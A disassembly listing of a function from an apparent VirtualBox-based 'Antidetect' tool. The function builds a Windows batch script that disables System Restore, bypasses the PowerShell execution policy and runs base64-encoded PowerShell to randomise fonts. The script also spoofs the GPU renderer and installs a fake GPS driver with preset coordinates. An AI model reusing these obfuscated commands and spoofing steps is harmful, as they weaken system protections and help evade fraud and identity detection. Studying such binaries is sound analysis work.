Function at 0x14011c9e0
Capabilities:
Reference http user-agent string

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x760]
sub rsp, 0x860
mov rax, qword [0x1402694b8]
xor rax, rsp
mov qword [rbp + 0x758], rax
mov r15, rdx
mov qword [rbp + 0x3a0], rdx
mov rsi, rcx
mov qword [rbp + 0x600], rdx
xor r12d, r12d
mov dword [rsp + 0x30], r12d
mov r14d, r12d
mov dword [rsp + 0x34], r12d
mov dword [rsp + 0x40], r12d
mov rcx, rdx
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_void____ptr64]
mov dword [rsp + 0x30], 1
cmp dword [rsi], r12d
je 0x1401215e2
lea edx, [r12 + 0x17]
lea rcx, str.Windows_Update_Disabled
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x158], rax
lea edx, [r12 + 0xc]
lea rcx, str.Antidetect_4
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x150], rax
lea edx, [r12 + 9]
lea rcx, str.logo2.png
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x148], rax
lea edx, [r12 + 0x15]
lea rcx, str._1__Text__2___3_
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rsp + 0x48], rax
mov dl, 0x20
lea rcx, [rbp + 0x310]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
xor r9d, r9d
lea r8, [rbp + 0x148]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x48]
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rbx, rax
mov dl, 0x20
lea rcx, [rbp + 0x312]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
xor r9d, r9d
lea r8, [rbp + 0x150]
lea rdx, [rsp + 0x78]
mov rcx, rbx
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rbx, rax
mov dl, 0x20
lea rcx, [rbp + 0x314]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
xor r9d, r9d
lea r8, [rbp + 0x158]
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rbx, rax
lea r8d, [r12 - 1]
lea rdx, str.powershell__New_BurntToastNotification__AppLogo__userprofile_DocumentsWindowsPowerShellmodulesBurntToast_
lea rcx, [rbp + 0x28]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
mov dword [rsp + 0x30], 5
mov rdx, rbx
lea rcx, [rbp + 0x28]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
mov dword [rsp + 0x30], 3
lea rcx, [rbp - 0x80]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x78]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x70]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x48]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea r8d, [r12 - 1]
lea rdx, str._MY_VBOX_ADDITIONS_etcwubwub.exe__D__P_
lea rcx, [rsp + 0x50]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
mov r13d, 0xb
mov dword [rsp + 0x30], r13d
lea rdx, [rbp + 0x28]
lea rcx, [rsp + 0x50]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
lea r8, str.__timeout_5___nul_r_n
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x3e0]
call fcn.140018600
nop
mov dword [rsp + 0x30], 3
lea rcx, [rsp + 0x50]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x28]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x148]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x150]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x158]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
lea edx, [r12 + 0x44]
lea rcx, str.Now_we_will_make_few_Privacy__Security_improvements_to_your_System.
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x180], rax
lea edx, [r12 + 3]
lea rcx, [0x1401b3168]
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x178], rax
lea edx, [r12 + 9]
lea rcx, str.logo3.png
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x170], rax
lea edx, [r12 + 0x15]
lea rcx, str._1__Text__2___3_
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x160], rax
mov dl, 0x20
lea rcx, [rbp + 0x316]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
xor r9d, r9d
lea r8, [rbp + 0x170]
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x160]
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rbx, rax
mov dl, 0x20
lea rcx, [rbp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
xor r9d, r9d
lea r8, [rbp + 0x178]
lea rdx, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rbx, rax
mov dl, 0x20
lea rcx, [rbp + 0x3a]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
xor r9d, r9d
lea r8, [rbp + 0x180]
lea rdx, [rsp + 0x68]
mov rcx, rbx
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rbx, rax
lea r8d, [r12 - 1]
lea rdx, str.powershell__New_BurntToastNotification__AppLogo__userprofile_DocumentsWindowsPowerShellmodulesBurntToast_
lea rcx, [rbp - 0x20]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
mov dword [rsp + 0x30], 0x43
mov rdx, rbx
lea rcx, [rbp - 0x20]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
mov edi, 0x23
mov dword [rsp + 0x30], edi
lea rcx, [rsp + 0x68]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x60]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x58]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x160]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea edx, [rdi + 0x50]
lea rcx, str.xcopy__e__y__i__MY_VBOX_ADDITIONS_etcWinHard___userprofile_DocumentsWindowsPowerShellmodulesWinHard____nul_
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x168], rax
lea rdx, [rbp + 0x168]
lea rcx, [rbp - 0x28]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov dword [rsp + 0x30], 0xa3
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x28]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
lea r8, str.__timeout_4___nul__powershell__File___userprofile_DocumentsWindowsPowerShellmodulesWinHardWinHard.ps1___timeout_5___nul_
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0x558]
call fcn.140018600
nop
mov dword [rsp + 0x30], edi
lea rcx, [rbp - 0x28]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x168]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x20]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x170]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x178]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x180]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
lea rcx, [rsp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_void____ptr64]
nop
mov edx, 0x1cd
lea rcx, str.title_PLEASE_DONT_CLOSE_THIS_WINDOW__type__MY_VBOX_ADDITIONS__ascii.art__net_accounts__maxpwage:unlimited___nul__powercfg__SETACVALUEINDEX_SCHEME_CURRENT_7516b95f_f776_4464_8c53_06167f40cc99_3c0bc021_c8a8_4e07_a973_6b14cbcb2b7e_0__powercfg__SETDCVALUEINDEX_SCHEME_CURRENT_7516b95f_f776_4464_8c53_06167f40cc99_3c0bc021_c8a8_4e07_a973_6b14cbcb2b7e_0__explorer__MY_VBOX_ADDITIONS_etcqresqres.cmd__powershell__Set_ExecutionPolicy_Bypass__Force___echo._
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x188], rax
lea rdx, [rbp + 0x188]
lea rcx, [rsp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x188]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
lea rdx, str.reg.exe_add_HKLMSoftwarePoliciesMicrosoftWindowsOneDrive__v_DisableFileSyncNGSC__t_REG_DWORD__d_1__f___nul_2_1__reg_delete_HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun__v_OneDriveSetup__f___nul_2_1_r_n
lea rcx, [rsp + 0x38]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_PEBD_Z]
lea rdx, str.reg_add_HKLMSoftwarePoliciesMicrosoftWindows_NTSystemRestore__v_DisableSR__t_REG_DWORD__d_1__f___nul_2_1_
lea rcx, [rsp + 0x38]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_PEBD_Z]
lea rdx, str.setx__m_MESA_GL_VERSION_OVERRIDE_4.6_nul__setx__m_MESA_GLES_VERSION_OVERRIDE_3.1_nul__setx__m_MESA_GLSL_VERSION_OVERRIDE_460_nul_
lea rcx, [rsp + 0x38]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_PEBD_Z]
lea rdx, [rsi + 0x20]
lea rcx, [rbp + 0x240]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
nop
mov rax, qword [rbp + 0x240]
cmp dword [rax + 4], r12d
je 0x14011d02c
lea r8d, [r12 - 1]
lea rdx, str.setx__m_MESA_RENDERER__
lea rcx, [rbp - 0x10]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
mov dword [rsp + 0x30], 0x223
lea rdx, [rbp + 0x240]
lea rcx, [rbp - 0x10]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rdx, [rbp - 0x10]
lea rcx, [rbp - 0x18]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov dword [rsp + 0x30], 0x623
lea r8d, [r12 - 1]
lea rdx, [0x1401b35b8]
lea rcx, [rbp + 0x270]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
nop
mov rdx, rax
lea rcx, [rbp - 0x18]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x270]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
lea rdx, [rbp - 0x18]
lea rcx, [rsp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp - 0x18]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
mov dword [rsp + 0x30], edi
lea rcx, [rbp - 0x10]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea r8d, [r12 - 1]
lea rdx, str.set_MESA_RENDERER
lea rcx, [rbp]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
mov dword [rsp + 0x30], 0x823
lea rdx, [rbp + 0x240]
lea rcx, [rbp]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rdx, [rbp]
lea rcx, [rbp - 8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov dword [rsp + 0x30], 0x1823
lea r8d, [r12 - 1]
lea rdx, [0x1401b35e0]
lea rcx, [rbp + 0x268]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
nop
mov rdx, rax
lea rcx, [rbp - 8]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x268]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
lea rdx, [rbp - 8]
lea rcx, [rsp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp - 8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
mov dword [rsp + 0x30], edi
lea rcx, [rbp]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
cmp byte [rsi + 0xa], 0
je 0x14011d182
lea rdx, str.echo_Installing_FakeGPS_r_n
lea rcx, [rsp + 0x38]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_PEBD_Z]
lea rdx, str.pushd__MY_VBOX_ADDITIONS_etcFakeGPS____setlocal_enabledelayedexpansion__devcon_install_bcmgnssd_bcmgnssd.inf_root_bcmgnssd___nul____for__f___i_in__devcon_find_root_bcmgnssd__find__ROOT___do__set_GNSSREGPATH_HKLMSYSTEMCurrentControlSetEnum__iDevice_Parameters__
lea rcx, [rsp + 0x38]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_PEBD_Z]
mov edx, 0x3b
lea rcx, str.reg_add__GNSSREGPATH___v_Lat__t_REG_DWORD__d__1__f___nul_
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x190], rax
mov dl, 0x20
lea rcx, [rbp + 0x3c]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov r8d, dword [rsi + 0x60]
xor r8d, 0x5f3759df
mov word [rsp + 0x28], ax
mov dword [rsp + 0x20], 0xa
xor r9d, r9d
lea rdx, [rbp + 0x260]
lea rcx, [rbp + 0x190]
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_unsigned_int__int__int__class_QChar____ptr64]
nop
mov rdx, rax
lea rcx, [rsp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x260]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x190]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
mov edx, 0x3c
lea rcx, str.reg_add__GNSSREGPATH___v_Long__t_REG_DWORD__d__1__f___nul_
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x198], rax
mov dl, 0x20
lea rcx, [rbp + 0x3e]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov r8d, dword [rsi + 0x64]
xor r8d, 0x5f3759df
mov word [rsp + 0x28], ax
mov dword [rsp + 0x20], 0xa
xor r9d, r9d
lea rdx, [rbp + 0x258]
lea rcx, [rbp + 0x198]
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_unsigned_int__int__int__class_QChar____ptr64]
nop
mov rdx, rax
lea rcx, [rsp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x258]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x198]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
lea rdx, str.reg_add_HKLMSOFTWAREMicrosoftWindowsCurrentVersionCapabilityAccessManagerConsentStorelocation__v_Value__t_REG_SZ__d_Allow__f___nul__reg_add_HKCUSOFTWAREMicrosoftWindowsCurrentVersionCapabilityAccessManagerConsentStorelocation__v_Value__t_REG_SZ__d_Allow__f___nul
lea rcx, [rsp + 0x38]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_PEBD_Z]
lea rdx, str.____popd__endlocal__r_n
lea rcx, [rsp + 0x38]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_PEBD_Z]
mov edx, 0x8b
lea rcx, str.xcopy__e__y__i__MY_VBOX_ADDITIONS_etcBurntToast___userprofile_DocumentsWindowsPowerShellmodulesBurntToast____nul__timeout_2___nul_
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x1a0], rax
lea rdx, [rbp + 0x1a0]
lea rcx, [rsp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
cmp byte [rsi + 0xc], 0
je 0x14011d1e5
lea rdx, str.pushd__MY_VBOX_ADDITIONS_etcFonts__powershell__encodedCommand_QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwANAAoARgBvAHIARQBhAGMAaAAoACQAZgBvAG4AdABkAGkAcgAgAGkAbgAgAEcAZQB0AC0AQwBoAGkAbABkAEkAdABlAG0AIAAtAEQAaQByAGUAYwB0AG8AcgB5ACkADQAKAHsADQAKACAAIAAgACAAJABmAG8AbgB0AHMAIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACIAJABmAG8AbgB0AGQAaQByAFwAKgAiACAALQBJAG4AYwBsAHUAZABlACAAJwAqAC4AdAB0AGYAJwAsACcAKgAuAG8AdABmACcAIAB8ACAAUwBvAHIAdAAtAE8AYgBqAGUAYwB0ACAAewBHAGUAdAAtAFIAYQBuAGQAbwBtAH0AIAB8ACAAUwBlAGwAZQBjAHQAIAAtAEYAaQByAHMAdAAgACgARwBlAHQALQBSAGEAbgBkAG8AbQAgACAALQBNAGkAbgAgADEAMAAgAC0ATQBhAHgAIAAyADAAKQANAAoAIAAgACAAIABGAG8AcgBFAGEAYwBoACgAJABmAG8AbgB0AGYAaQBsAGUAIABpAG4AIAAkAGYAbwBuAHQAcwApAA0ACgAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAkAGYAbwBuAHQAQwBvAGwAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBUAGUAeAB0AC4AUAByAGkAdgBhAHQAZQBGAG8AbgB0AEMAbwBsAGwAZQBjAHQAaQBvAG4AXQA6ADoAbgBlAHcAKAApAA0ACgAgACAAIAAgACAAIAAgACAAJABmAG8AbgB0AEMAbwBsAC4AQQBkAGQARgBvAG4AdABGAGkAbABlACgAJABmAG8AbgB0AGYAaQBsAGUAKQANAAoAIAAgACAAIAAgACAAIAAgACQAZgBvAG4AdABuAGEAbQBlACAAPQAgAFsAUwB0AHIAaQBuAGcAWwBdAF0AJABmAG8AbgB0AEMAbwBsAC4ARgBhAG0AaQBsAGkAZQBzAC4ATgBhAG0AZQANAAoAIAAgACAAIAAgACAAIAAgACQAZgBvAG4AdABDAG8AbAAuAEQAaQBzAHAAbwBzAGUAKAApAA0ACgAgACAAIAAgACAAIAAgACAAaQBmACgAJABmAG8AbgB0AG4AYQBtAGUAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGYAbwBuAHQAZgBpAGwAZQAyACAAPQAgACQAZgBvAG4AdABmAGkAbABlAC4ATgBhAG0AZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYwBtAGQAcwB0AHIAIAA9ACAAIgBjAG8AcAB5ACAALwB5ACAAIgAiACQAZgBvAG4AdABmAGkAbABlACIAIgAgACUAVwBJAE4ARABJAFIAJQBcAEYAbwBuAHQAcwAgAD4AIABuAHUAbAAgADIAPgAmADEAIAAmACYAIAByAGUAZwAgAGEAZABkACAAIgAiAEgASwBMAE0AXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABOAFQAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABGAG8AbgB0AHMAIgAiACAALwB2ACAAIgAiACQAZgBvAG4AdABuAGEAbQBlACAAKABUAHIAdQBlAFQAeQBwAGUAKQAiACIAIAAvAHQAIABSAEUARwBfAFMAWgAgAC8AZAAgACIAIgAkAGYAbwBuAHQAZgBpAGwAZQAyACIAIgAgAC8AZgAgAD4AIABuAHUAbAAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAJABjAG0AZABzAHQAcgAgAHwAIABjAG0AZAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAAfQANAAoAfQANAAoA___nul__popd_r_n
lea rcx, [rsp + 0x38]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_PEBD_Z]
lea rdx, str.pushd__MY_VBOX_ADDITIONS_etcFonts__cd_Glyphs__powershell__encodedCommand_JABmAG8AbgB0AHMAIAA9ACAAQAAoACkAOwAgAEYAbwByAEUAYQBjAGgAKAAkAGYAbwBuAHQAZABpAHIAIABpAG4AIABHAGUAdAAtAEMAaABpAGwAZABJAHQAZQBtACAALQBEAGkAcgBlAGMAdABvAHIAeQApACAAewAgACQAZgBvAG4AdABzACAAKwA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACIAJABmAG8AbgB0AGQAaQByAFwAKgAiACAAfAAgACUAewAkAF8ALgBGAHUAbABsAE4AYQBtAGUAfQAgAH0ADQAKACQAZgBvAG4AdABzACAAPQAgACQAZgBvAG4AdABzACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAdAAgAHsARwBlAHQALQBSAGEAbgBkAG8AbQB9ACAAfAAgAFMAZQBsAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAoAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAgAC0ATQBpAG4AIAAwACAALQBNAGEAeAAgACgAJABmAG8AbgB0AHMALgBMAGUAbgBnAHQAaAArADEAKQApAA0ACgBGAG8AcgBFAGEAYwBoACgAJABmAG8AbgB0ACAAaQBuACAAJABmAG8AbgB0AHMAKQANAAoAewANAAoACQAkAGYAbwBuAHQAZgBpAGwAZQAgAD0AIABTAHAAbABpAHQALQBQAGEAdABoACAAJABmAG8AbgB0ACAALQBsAGUAYQBmAA0ACgAJACQAYwBtAGQAcwB0AHIAIAA9ACAAIgB0AGEAawBlAG8AdwBuACAALwBGACAAIgAiACUAdwBpAG4AZABpAHIAJQBcAEYAbwBuAHQAcwBcACQAZgBvAG4AdABmAGkAbABlACIAIgAgAD4AIABuAHUAbAAgADIAPgAmADEAIAAmACYAIABpAGMAYQBjAGwAcwAgACIAIgAlAHcAaQBuAGQAaQByACUAXABGAG8AbgB0AHMAXAAkAGYAbwBuAHQAZgBpAGwAZQAiACIAIAAvAGcAcgBhAG4AdAAgACIAIgAlAHUAcwBlAHIAbgBhAG0AZQAlACIAIgA6AEYAIAAACAAbgB1AGwAIAAyAD4AJgAxACAAJgAmACAAYwBvAHAAeQAgAC8AeQAgACIAIgAkAGYAbwBuAHQAIgAiACAAJQB3AGkAbgBkAGkAcgAlAFwARgBvAG4AdABzAFwAIAAACAAbgB1AGwAIAAyAD4AJgAxACIADQAKAAkAJABjAG0AZABzAHQAcgAgAHwAIABjAG0AZAANAAoAfQA___nul__popd_r_n
lea rcx, [rsp + 0x38]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_PEBD_Z]
cmp byte [rsi + 0xb], 0
je 0x14011d299
movdqa xmm0, xmmword [0x1401c8d00]
movdqu xmmword [rbp + 0x710], xmm0
mov dword [rbp + 0x720], 0x2b110
mov edx, 4
xor ecx, ecx
call qword [sym.imp.VBoxRT.dll_RTRandU32Ex]
mov eax, eax
mov ebx, dword [rbp + rax*4 + 0x710]
mov edx, 0x62
lea rcx, str._MY_VBOX_ADDITIONS_etcSoundVolumeViewSoundVolumeView.exe__SetDefaultFormat__Speakers__16__1_2_r_n
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x1a8], rax
mov dl, 0x20
lea rcx, [rbp + 0x68]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x28], ax
mov dword [rsp + 0x20], 0xa
xor r9d, r9d
mov r8d, ebx
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x1a8]
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_int__int__int__class_QChar____ptr64]
nop
mov rdx, rax
lea rcx, [rsp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x250]
